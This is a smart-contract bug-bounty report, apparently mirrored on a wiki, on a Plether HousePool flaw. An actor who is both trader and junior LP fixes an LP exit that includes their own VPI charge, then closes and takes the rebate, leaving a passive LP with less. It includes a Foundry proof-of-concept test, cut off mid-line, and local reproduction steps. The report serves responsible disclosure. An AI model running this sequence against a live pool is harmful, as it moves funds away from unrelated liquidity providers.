VPI charge captured by exiting Trader/LP is later refunded at a passive Junior LP's expense
A trader who is also a junior liquidity provider can have their redemption priced and funded while their own open position's positive VPI charge sits in pool revenue, then close the position and receive a VPI rebate paid from pool cash after they have left. A passive junior LP who stays invested receives less cash when redeeming, because they bear the later rebate outflow.
- Disclosed after under an hour
#98102 [SC-Critical] VPI charge captured by exiting Trader/LP is later refunded at a passive Junior LP's expense
Submitted on Nov 5th 2026 at 04:45:44 UTC by @Rrudy for Audit Competition | Plether
- Report ID: #98102
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Summary
At the in-scope commit a82d4fefb02768e5b3bddcc97dee371eee24fea8, one actor can control both a Trader and a Junior LP. The Trader opens a position and pays positive VPI into HousePool revenue. The actor then has its matured Junior redemption priced and funded while that position is still open, locking in its share of that revenue. The Trader subsequently closes at the same market price and receives a VPI rebate from Pool cash. The departing LP no longer bears that cash debit; an unrelated Junior LP who stays invested receives less USDG when it later redeems.
The issue is which LP receives the open charge and which LP pays for its later refund. It does not require an oversized VPI refund, a price-PnL gain, a privileged account, or a race against another user's committed close. The Trader controls when it first commits its own close. claimRedeem() demonstrates actual delivery of the already funded amount; the relevant pricing boundary is LP epoch funding, when shares are burned and the cash claim is fixed.
Root cause and attack path
- On open,
CfdEngineSettlementSidecar.executeOpenroutes positive action cash toHousePool.recordClaimantInflow(..., Revenue, CashArrived). It becomes current Pool revenue and increasesaccountedAssets. - The attacker Junior LP's existing redemption request matures.
HousePool._settleLpEpochprices and funds it while the Trader position remains open. The funded shares are burned; the resulting USDG claim is fixed. The attacker can claim that cash before making its first close commitment. - The Trader closes at the unchanged mark.
CloseAccountingLibapplies the lifetime clamp; the gross negative VPI never exceeds the position's positive accrued VPI. Nevertheless, the settlement sidecar pays the net action rebate from Pool cash after the attacker LP has left. Remaining LP capital bears that payment.
This report does not assert a miscalculated trader-side vpiRebateReserveAssets. That reserve backs negative accrued VPI; the tested positive accrued VPI keeps its target at zero. The asserted economic gap is that a charge which may later be returned to the same Trader can be captured in that Trader's LP exit before the corresponding Pool outflow is imposed on a different LP cohort.
Measured third-party harm
The runnable PoC below deploys the unmodified production OrderRouter and the rest of the pinned in-scope contracts using the repository's test setup and permitted Pyth/USDG mocks. It uses the release six-feed basket configuration and vpiFactor = 0.01e18. The Trader's open executes five seconds before the scheduled epoch boundary. Both branches start from the same saved state, use the same market mark and final observation time, and settle the same matured LP requests. Realized price PnL is zero.
| One cycle, final actual USDG wallets | Close before LP funding | LP funding before close | Attack minus control |
|---|---|---|---|
| Attacker Trader + Junior LP | 69,988.622669 | 70,006.681289 | +18.058620 |
| Unrelated Junior LP | 15,001.816420 | 14,983.759001 | −18.057419 |
The attacker starts with 70,000 USDG across the two roles and finishes 6.681289 USDG above that principal before external costs in the attack branch. The unrelated LP starts with 15,000 USDG and finishes 16.240999 USDG below it. Its redemption is fully funded and claimed in actual USDG. The branches' Pool-paid rebates differ by only 0.013038 USDG, far smaller than the victim's 18.057419 USDG relative shortfall. The attacker/victim/Pool difference reconciles to the USDG atom: +18,058,620 − 18,057,419 − 1,201 = 0.
The same original-code test also executes 1, 2, 3 and 5 continuous cycles, with attacker Junior ownership of 25%, 50%, or 75%. It reuses actual claimed wallet USDG for the next LP deposit and Trader funding, respects cooldowns and epoch timing, and makes no token mint after the initial setup. The passive victim keeps its shares through every cycle and claims actual USDG only at the end. Each case compares close-before-funding and funding-before-close from an identical initial state; there is no snapshot reset between cycles inside a branch. In all 12 supported cases, the test asserts that the combined Trader/LP receives more, the passive LP receives less, and the Pool residual decreases by the atom-exact balancing amount. These are relative branch differences; not every matrix case yields an absolute attacker profit or leaves the passive LP below its starting principal. A 90% full-exit variation was tested separately but is not claimed: its first attacker exit is only partially fundable because Pool free cash reaches zero.
| 75% attacker Junior ownership, five cycles | Close before LP funding | LP funding before close | Attack minus control |
|---|---|---|---|
| Attacker Trader + Junior LP actual USDG | 67,441.632655 | 67,529.208666 | +87.576011 |
| Passive Junior LP actual redemption | 17,510.734313 | 17,423.163296 | −87.571017 |
| Residual Pool cash | 2.000815 | 1.995821 | −0.004994 |
The five-cycle attack branch leaves the attacker 29.208666 USDG above its initial 67,500 USDG before external costs; the victim is 76.836704 USDG below its initial 17,500 USDG. The three branch deltas sum to zero at atom precision. Senior final USDG, token supply and final timestamp match between branches. Open and close execution fees are already reflected in the actual wallet balances. These are local simulated contract outcomes, not observed mainnet transactions.
A separate matched six-feed negative control sets only the test VPI factor to zero. The victim's attack-minus-control difference then becomes +0.000015 USDG, instead of −18.057419 USDG with release VPI. This is a causal control, not a proposed live configuration. Supplementary original-code Trader-only and No-Trader controls also distinguish the combined-role extraction from ordinary LP settlement. The self-contained PoC field below reproduces the main and repeated original-contract tests within the form's character limit; the additional control sources are available separately if triage requests them.
Actual v2.0.0 deployed-address fork corroboration
I also ran a local Arbitrum Sepolia fork of the published v2.0.0 test deployment, at block 325603167 (block hash 0x238620030acfc242e5dd73676fbad87e352dfeebd8848604a13af7ce0f1a986c). This test called the deployed HousePool at 0xeb5604c393843b2f3c347ec24fa9ddad6ab2131e, Junior Vault 0x4a8b67184a1e3224c11a191cc69f22c50eef734e, OrderRouter 0x918663d6da8cb33b325a04c4a5e8c51d42f3b444, and PletherOracle 0x4f2c62a0e03657f52c633c19c11f88d8f0897bb2. The harness asserted their deployed code hashes. Both orders (32 and 33) executed using previously captured signed six-feed Pyth update bytes, verified by the deployed Oracle; no local Pyth mock was used in this supplemental fork. No transaction was sent to the public deployment.
The fork prepared distinct LP actors through a local-fork-only impersonation of the release owner to transfer existing testnet Junior shares, and funded the Trader with the release's freely mintable test USDG. That actor setup is not an attack step or a claim that the attacker can take the owner's shares. The fixture declares signed-update execution times 1793702540 and 1793702598 (58 seconds apart). The harness commits each order one second before its respective execution time, advances the local fork clock with vm.warp, and asserts that the deployed Oracle accepts both updates and that orders 32 and 33 execute. This is a local replay, not proof that those transactions occurred on the public testnet. It then compares close execution → LP epoch funding against LP epoch funding → close execution from the same fork snapshot, using the same signed update for both final branches. The attacker's Junior exit was fully funded and claimed in actual test USDG. Relative to the close-first branch, the funding-first branch paid the attacker LP 28.300567 more USDG, left the Trader's cash unchanged, and lowered Pool cash by 28.300567 USDG. The unrelated LP's retained Junior share claim value was 9.433523 USDG lower and the remaining owner's Junior claim value was 18.867045 USDG lower (their combined difference is one atom larger because of share conversion rounding). These latter two figures are convertToAssets rights, not redeemed wallet cash in this fork; the self-contained PoC below separately measures an unrelated LP's actual redeemed wallet cash. The fork test passed 1/1; its harness SHA-256 is d8dad448443d6263af32d1da57d790cd204f241926149aa90fc87de42e4f0118, saved signed-update fixture SHA-256 is 690f95a682abfe821d8fb70c106c6e8a49eff50e1c046e635eff066f821e5c2a (the copyable LF version in the supplemental fork packet hashes to 67f8d93e121ec7a9d88dac0419bac2b31d2cee73ff313e0b16cd980455339175), and saved stdout SHA-256 is 6f4b8b35bb24ec95fe60915d41e8c5cf6a819ecf744e82ea66d1af58fc080d7c. The fork uses the published testing deployment's liquidity and MockUSDG setup, not the prospective production configuration. It corroborates reachability with deployed addresses and signed prices; the separate VPI-zero control above is the causal test of VPI itself. The optional secret Gist contains the complete fork source, signed bytes, exact replay command and result excerpt so triage can reproduce this supplemental claim. The main original-code test is fully included in the Proof of Concept field.
Public issue comparison and eligibility question
PR #62 addresses LP entry/exit pricing of marked price PnL. It considered and rejected cohort accounting as a remedy for inherited marked liabilities; it did not describe the same Trader's realized VPI charge being captured by an LP exit before a later close rebate. Here price PnL is zero and the transfer concerns that charge and refund. The published AI scan VPI item uses a temporary reduction in Pool depth to increase the close rebate itself. The measured single-cycle rebate difference here is 0.013038 USDG; the five-cycle aggregate Pool-paid rebate difference is 0.068976 USDG, versus 87.571017 USDG less received by the passive LP. The first disputed boundary here is LP epoch funding fixing the departing LP's cash entitlement while the same position's later VPI rebate remains conditional, not an oversized rebate calculation. This report concerns cohort allocation even where rebate-size manipulation is immaterial.
The pinned SECURITY.md states that anticipated VPI is excluded from terminal NAV and new close rebates use available Pool cash. Those published component rules are the strongest objection: the project may regard the observed cohort transfer as intended time-based LP economics. The report asks triage to distinguish that interpretation from the combined Trader/LP extraction and passive-LP cash loss demonstrated here. The public documents reviewed do not expressly describe that sequence or its measured consequence. I do not claim that merely showing a different wallet amount proves an accounting conservation violation, or that this question has already been resolved in my favor.
Preconditions, impact and suggested remediation
The attacker needs a Trader position, Junior LP shares with a matured redemption request, and valid executions before and after funding. The self-contained PoC uses separate Trader and LP addresses to show each cash flow, then counts both wallets as one economic actor. It uses no per-address reward, eligibility rule, account cap or identity limit; the alleged impact comes from the order of LP funding and the same actor's later VPI rebate, not from multiplying identities. A single-address version was not tested. The self-contained PoC uses mock updates for six configured Pyth feeds; the supplemental deployed-address fork uses signed six-feed updates. Neither test measures the frequency of the exact favorable market sequence on Arbitrum One, transaction inclusion, Arbitrum gas, Hermes/Pyth fees, or capital opportunity cost. Those costs are not included in the 29.208666 USDG five-cycle absolute surplus. The claimed in-scope impact is Medium — Griefing: reduced actual cash received by an unrelated Junior LP in the self-contained PoC. It is not a claim of guaranteed net arbitrage, direct theft, insolvency or freezing.
One possible mitigation is to avoid fixing an LP exit amount that includes a positive VPI charge while its originating live position may later receive a conditional rebate, or to account for that exposure at the funding boundary. Any change should preserve the existing lifetime clamp, trader-claim priority and Senior/Junior waterfall.
Link to Proof of Concept
https://gist.github.com/0xRrudy/fed9c9cd31a609fb70c0e64a000e3128
Proof of Concept
Reproduction steps
- In a disposable local test environment, obtain the competition repository and pin the exact scope commit. Use Foundry 1.5.1 and Solidity 0.8.35 with the repository's submodules. Do not send transactions to the public deployment.
git clone --recurse-submodules https://github.com/immunefi-team/audit-comp-plether.git
cd audit-comp-plether
git checkout --detach a82d4fefb02768e5b3bddcc97dee371eee24fea8
git submodule update --init --recursive
-
Save the complete Solidity block below as
packages/perps/test/perps/spec/trader/VpiEpochCohortSubmissionFinal.t.sol. It inherits the repository'sBasePerpTestfor permitted Pyth/USDG mocks, deploys the original productionOrderRouter, and changes no file underpackages/perps/src. The six configured Pyth feed IDs, weights, base prices and inversion flags are set in the fixture. Source SHA-256 (LF bytes):f7488342ca4f49d8569922992ed38fe3db569a90e31541987bfff41a61f11caa. -
From the repository root, run the whole test contract.
--offlineworks after the pinned toolchain and submodules are installed in the disposable environment.
FOUNDRY_PROFILE=default forge test --root packages/perps \
--match-path test/perps/spec/trader/VpiEpochCohortSubmissionFinal.t.sol \
--match-contract VpiPassiveCycleMatrixExperimentTest \
--match-test test_Q261_ --offline -vv
The contract contains the single-cycle proof plus 1/2/3/5 continuous-cycle tests for 25%, 50% and 75% attacker Junior ownership. The 90% full-exit case is excluded because it is only partially fundable and is not claimed. The final exact file returned 13 passed, 0 failed, exit code 0, in a no-network isolated Foundry run. Its saved stdout SHA-256 is cb7be192d7eeb27466256cbbb2b15885f716cc4089ae692fbbf924970a6ffd62.
Complete test source
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
// Q261 claim-first fixture: copy only into pinned offline scratch.
// Only the repository's BasePerpTest is inherited; in-scope contracts remain untouched.
import {BasePerpTest} from "../../BasePerpTest.sol";
import {Vm} from "forge-std/Vm.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {LegacyOrderRouterHarness} from "../../../utils/LegacyOrderRouterHarness.sol";
import {CfdOrderPolicyEvaluator} from "@plether/perps/CfdOrderPolicyEvaluator.sol";
import {OrderLifecycleBook} from "@plether/perps/OrderLifecycleBook.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderRouterExecutionSidecar} from "@plether/perps/OrderRouterExecutionSidecar.sol";
import {OrderRouterLiquidationBatchSidecar} from "@plether/perps/OrderRouterLiquidationBatchSidecar.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
contract VpiPassiveCycleMatrixExperimentTest is BasePerpTest {
address internal constant JUNIOR_LP = address(0xA11CE);
address internal constant SENIOR_LP = address(0xB0B);
address internal constant KEEPER = address(0xB0A7D);
uint256 internal constant ENTRY_PRICE = 1e8;
address private constant LOSS_TRADER232 = address(0xC232);
address private constant JUNIOR_VICTIM232 = address(0xC233);
uint256 private constant SENIOR_ACTIVE232 = 10_000e6;
uint256 private constant JUNIOR_ACTIVE232 = 70_000e6;
uint256 private constant LOSS_SIZE232 = 22_500e18;
uint256 private constant LOSS_MARGIN232 = 13_000e6;
uint256 private constant LOSS_MARK232 = 100_000_000;
function _deployLegacyOrderRouter(
address engine_, address engineLens_, address pool_, address oracle_
) internal override returns (LegacyOrderRouterHarness deployedRouter) {
bytes32[] memory ids = new bytes32[](6);
ids[0] = 0xa995d00bb36a63cef7fd2c287dc105fc8f3d93779f062f09551b0af3e81ec30b;
ids[1] = 0xef2c98c804ba503c6a707e38be4dfbb16683775f195b091252bf24693042fd52;
ids[2] = 0x84c2dde9633d93d1bcad84e7dc41c9d56578b7ec52fabedc1f335d673df0a7c1;
ids[3] = 0x3112b03a41c910ed446852aacf67118cb1bec67b2cd0b9a214c58cc0eaa2ecca;
ids[4] = 0x8ccb376aa871517e807358d4e3cf0bc7fe4950474dbe6c9ffc21ef64e43fc676;
ids[5] = 0x0b1e3297e69f162877b577b0d6a47a0d63b2392bc8499e6540da4187a63e28f8;
uint256[] memory weights = new uint256[](6);
weights[0] = 576e15;
weights[1] = 136e15;
weights[2] = 119e15;
weights[3] = 91e15;
weights[4] = 42e15;
weights[5] = 36e15;
uint256[] memory bases = new uint256[](6);
bases[0] = 117_500_000;
bases[1] = 638_000;
bases[2] = 134_480_000;
bases[3] = 72_880_000;
bases[4] = 10_860_000;
bases[5] = 126_100_000;
bool[] memory inversions = new bool[](6);
inversions[1] = true;
inversions[3] = true;
inversions[4] = true;
inversions[5] = true;
pletherOracle = new PletherOracle(
engine_, pool_, address(baseMockPyth), ids, weights, bases, inversions
);
oracle_ = address(pletherOracle);
policyEvaluator = new CfdOrderPolicyEvaluator();
orderExecutionSidecar = new OrderRouterExecutionSidecar();
address predictedRouter = vm.computeCreateAddress(address(this), vm.getNonce(address(this)) + 2);
OrderLifecycleBook lifecycleBook =
new OrderLifecycleBook(predictedRouter, engine_, address(clearinghouse), pool_);
OrderRouterLiquidationBatchSidecar keeperSidecar =
new OrderRouterLiquidationBatchSidecar(predictedRouter);
OrderRouter exactRouter = new OrderRouter(
engine_, engineLens_, pool_, oracle_, address(keeperSidecar),
address(policyEvaluator), address(orderExecutionSidecar), address(lifecycleBook)
);
deployedRouter = LegacyOrderRouterHarness(address(exactRouter));
assertEq(address(deployedRouter), predictedRouter);
}
function _initialJuniorDeposit() internal pure override returns (uint256) { return 0; }
function _initialJuniorSeedDeposit() internal pure override returns (uint256) { return 1e6; }
function _initialSeniorSeedDeposit() internal pure override returns (uint256) { return 1e6; }
function setUp() public override {
BasePerpTest.setUp();
CfdTypes.RiskParams memory risk = _riskParams();
risk.vpiFactor = 0.01e18;
risk.maintMarginBps = 10;
risk.initMarginBps = 20;
_setRiskParams(risk);
IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
routerConfig.minOpenNotionalAssets = 1_000e6;
routerConfig.maxPendingOrders = 5;
routerAdmin.proposeRouterConfig(routerConfig);
vm.warp(routerAdmin.routerConfigActivationTime());
routerAdmin.finalizeRouterConfig();
_setSeniorCapacity(40_000_000e6, 8000);
assertEq(pool.maxSeniorShareBps(), 8000, "release Senior ratio");
assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "release Senior cap");
assertEq(router.minOpenNotionalAssets(), 1_000e6, "release minimum open");
}
function _sixFeedUpdateData(uint256 mark) internal returns (bytes[] memory updateData) {
assertEq(mark, ENTRY_PRICE, "same-price six-feed fixture");
vm.roll(vm.getBlockNumber() + 1);
vm.warp(vm.getBlockTimestamp() + 1);
uint256 publishTime = vm.getBlockTimestamp();
bytes32[6] memory ids = [
bytes32(0xa995d00bb36a63cef7fd2c287dc105fc8f3d93779f062f09551b0af3e81ec30b),
bytes32(0xef2c98c804ba503c6a707e38be4dfbb16683775f195b091252bf24693042fd52),
bytes32(0x84c2dde9633d93d1bcad84e7dc41c9d56578b7ec52fabedc1f335d673df0a7c1),
bytes32(0x3112b03a41c910ed446852aacf67118cb1bec67b2cd0b9a214c58cc0eaa2ecca),
bytes32(0x8ccb376aa871517e807358d4e3cf0bc7fe4950474dbe6c9ffc21ef64e43fc676),
bytes32(0x0b1e3297e69f162877b577b0d6a47a0d63b2392bc8499e6540da4187a63e28f8)
];
int64[6] memory prices = [
int64(117_500_000), int64(15_673_981_191), int64(134_480_000),
int64(137_211_855), int64(920_810_313), int64(79_302_141)
];
MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](6);
for (uint256 i; i < 6; ++i) {
updates[i] = MockPyth.FeedUpdate({
id: ids[i],
price: MockPyth.MockPrice({
price: prices[i], conf: 0, expo: -8,
publishTime: publishTime, prevPublishTime: 0
})
});
}
updateData = new bytes[](1);
updateData[0] = abi.encode(updates);
}
function _publicDeposit(TrancheVault vault, address lp, uint256 assets)
internal returns (uint256 shares)
{
settlementToken.mint(lp, assets);
vm.startPrank(lp);
settlementToken.approve(address(vault), assets);
uint256 id = vault.requestDeposit(assets, lp);
vm.stopPrank();
uint256 epochStart = pool.lpEpochStart(id);
if (vm.getBlockTimestamp() < epochStart) vm.warp(epochStart);
bytes[] memory tick = _sixFeedUpdateData(ENTRY_PRICE);
vm.prank(KEEPER);
router.settleLpEpoch(tick);
shares = vault.claimableDepositShares(id, lp);
assertGt(shares, 0, "LP shares activated");
vm.prank(lp);
uint256 delivered = vault.claimDeposit(id, assets, lp, lp);
assertEq(delivered, shares, "LP shares delivered");
assertEq(vault.balanceOf(lp), shares, "LP share balance");
}
struct Outcome232 {
uint256 bPaid;
uint256 cPaid;
uint256 bFunded;
uint256 cFunded;
uint256 bPending;
uint256 cPending;
uint256 bQuote;
uint256 cQuote;
uint256 bWallet;
uint256 cWallet;
uint256 bNewDepositClaimable;
uint256 bNewSharesClaimable;
uint256 reservation;
uint256 seniorPrincipal;
uint256 seniorHwm;
uint256 juniorPrincipal;
uint256 poolCash;
uint256 poolAccounted;
uint256 seniorVaultCash;
uint256 juniorVaultCash;
uint256 seniorDepositEscrow;
uint256 seniorWithdrawalEscrow;
uint256 juniorWithdrawalEscrow;
uint256 traderClaim;
uint256 pendingRevenue;
uint256 unassigned;
uint256 freeAssets;
uint256 aWallet;
uint256 aClearing;
uint256 closeRebatePaid;
uint256 settleTime;
uint256 observedTime;
uint256 secondTime;
uint256 bSecondPaid;
uint256 cSecondPaid;
uint256 dSecondPaid;
uint256 dSecondFunded;
uint256 dSecondPending;
uint256 dResidualQuote;
uint256 secondSeniorPrincipal;
uint256 secondJuniorPrincipal;
uint256 secondPoolCash;
uint256 cFinalPending;
uint256 cFinalQuote;
uint256 cClaimBeforeClose;
uint256 cWalletBeforeEarlyClaim;
uint256 cWalletAtEarlyClaim;
uint256 poolCashBeforeEarlyClaim;
uint256 poolCashAfterEarlyClaim;
uint256 nextCommitBeforeEarlyClaim;
uint256 nextCommitAfterEarlyClaim;
uint256 aPositionBeforeEarlyClaim;
uint256 aPositionAfterEarlyClaim;
uint256 bWalletFinal;
uint256 cWalletFinal;
uint256 dWalletFinal;
uint256 finalPoolAccounted;
uint256 finalSeniorVaultCash;
uint256 finalJuniorVaultCash;
uint256 finalSeniorWithdrawalEscrow;
uint256 finalJuniorWithdrawalEscrow;
}
function _trade232(bool close, uint256 margin, uint256 mark, bytes32 tag) private returns (uint64 id) {
OrderV3Types.OrderRequest memory request;
request.clientOrderId = keccak256(abi.encode(tag, router.nextCommitId()));
request.side = CfdTypes.Side.LONG;
request.isClose = close;
request.sizeDelta = LOSS_SIZE232;
request.marginDelta = margin;
request.targetPrice = close ? engine.CAP_PRICE() : 1;
request.bounds = OrderV3Types.ExecutionBounds({
submitBy: uint64(block.timestamp + 60),
executionWindowSeconds: 60,
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
});
vm.prank(LOSS_TRADER232);
id = router.commitOrder(request);
bytes[] memory tick = _sixFeedUpdateData(mark);
vm.prank(KEEPER);
OrderV3Types.ExecutionResult memory result = router.executeOrder(id, tick);
assertEq(uint8(result.status), uint8(OrderV3Types.LifecycleStatus.Executed), "public Router order executed");
}
function _open232() private {
vm.recordLogs();
uint64 openId = _trade232(false, LOSS_MARGIN232, ENTRY_PRICE, keccak256("q232-loss-open"));
Vm.Log[] memory recorded = vm.getRecordedLogs();
bool receiptFound;
for (uint256 i; i < recorded.length; ++i) {
if (recorded[i].emitter != address(router.lifecycleBook()) || recorded[i].topics.length != 4
|| recorded[i].topics[0] != IOrderLifecycleBook.OrderFinalized.selector
|| recorded[i].topics[1] != bytes32(uint256(openId))) continue;
(bytes32 receiptHash, uint64 terminalBlock, uint64 terminalTime,
OrderV3Types.OrderReceipt memory receipt) = abi.decode(recorded[i].data,
(bytes32, uint64, uint64, OrderV3Types.OrderReceipt));
receiptHash; terminalBlock; terminalTime;
assertEq(receipt.orderId, openId, "exact A open receipt");
assertEq(receipt.executionPrice, ENTRY_PRICE, "constant price at open");
assertEq(receipt.economics.realizedPnlAssets, int256(0), "open price PnL zero");
assertGt(receipt.economics.vpiAssets, int256(0), "open VPI prepaid by A");
emit log_named_uint("OWN_OPEN_VPI_CHARGE", uint256(receipt.economics.vpiAssets));
emit log_named_uint("OWN_OPEN_EXECUTION_FEE", receipt.economics.executionFeeAssets);
(, , , , , , int256 accrued) = engine.positions(LOSS_TRADER232);
assertEq(accrued, receipt.economics.vpiAssets, "open receipt equals live lifetime VPI");
emit log_named_uint("OWN_OP
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the LP exit amount is fixed at epoch funding while it includes a positive VPI charge whose later conditional rebate is paid from pool cash to a different LP cohort.
Impact
An unrelated junior LP could receive less actual cash on redemption, with the single-cycle test showing about 18 USDG less and the five-cycle case about 87 USDG less, though the author notes these are local simulated outcomes and not guaranteed net profit.
What the attacker needed
A trader position; junior LP shares with matured redemption; valid executions before and after funding; local test environment only
The fix
The exit amount should not fix a positive VPI charge while its originating live position may later receive a conditional rebate, or that exposure should be accounted for at the funding boundary.
How it was found
- Set up a disposable local test environment pinned to the in-scope commit with the repository's toolchain and submodules.
- Add the provided test contract under the perps test directory without changing any in-scope source file.
- Run the test contract with the given forge command to execute the single-cycle and repeated-cycle scenarios.
- Compare the close-before-funding branch against the funding-before-close branch from the same saved state.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity provider (LP) puts money into a pool that traders borrow against. When a trader opens a position they pay a small fee into the pool, and when they close they can get part of that fee back. Here one person played both roles: they took their LP money out while their own fee was counted as pool income, then closed the trade and got the fee refunded from the pool, so a different LP who stayed in ended up with less money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.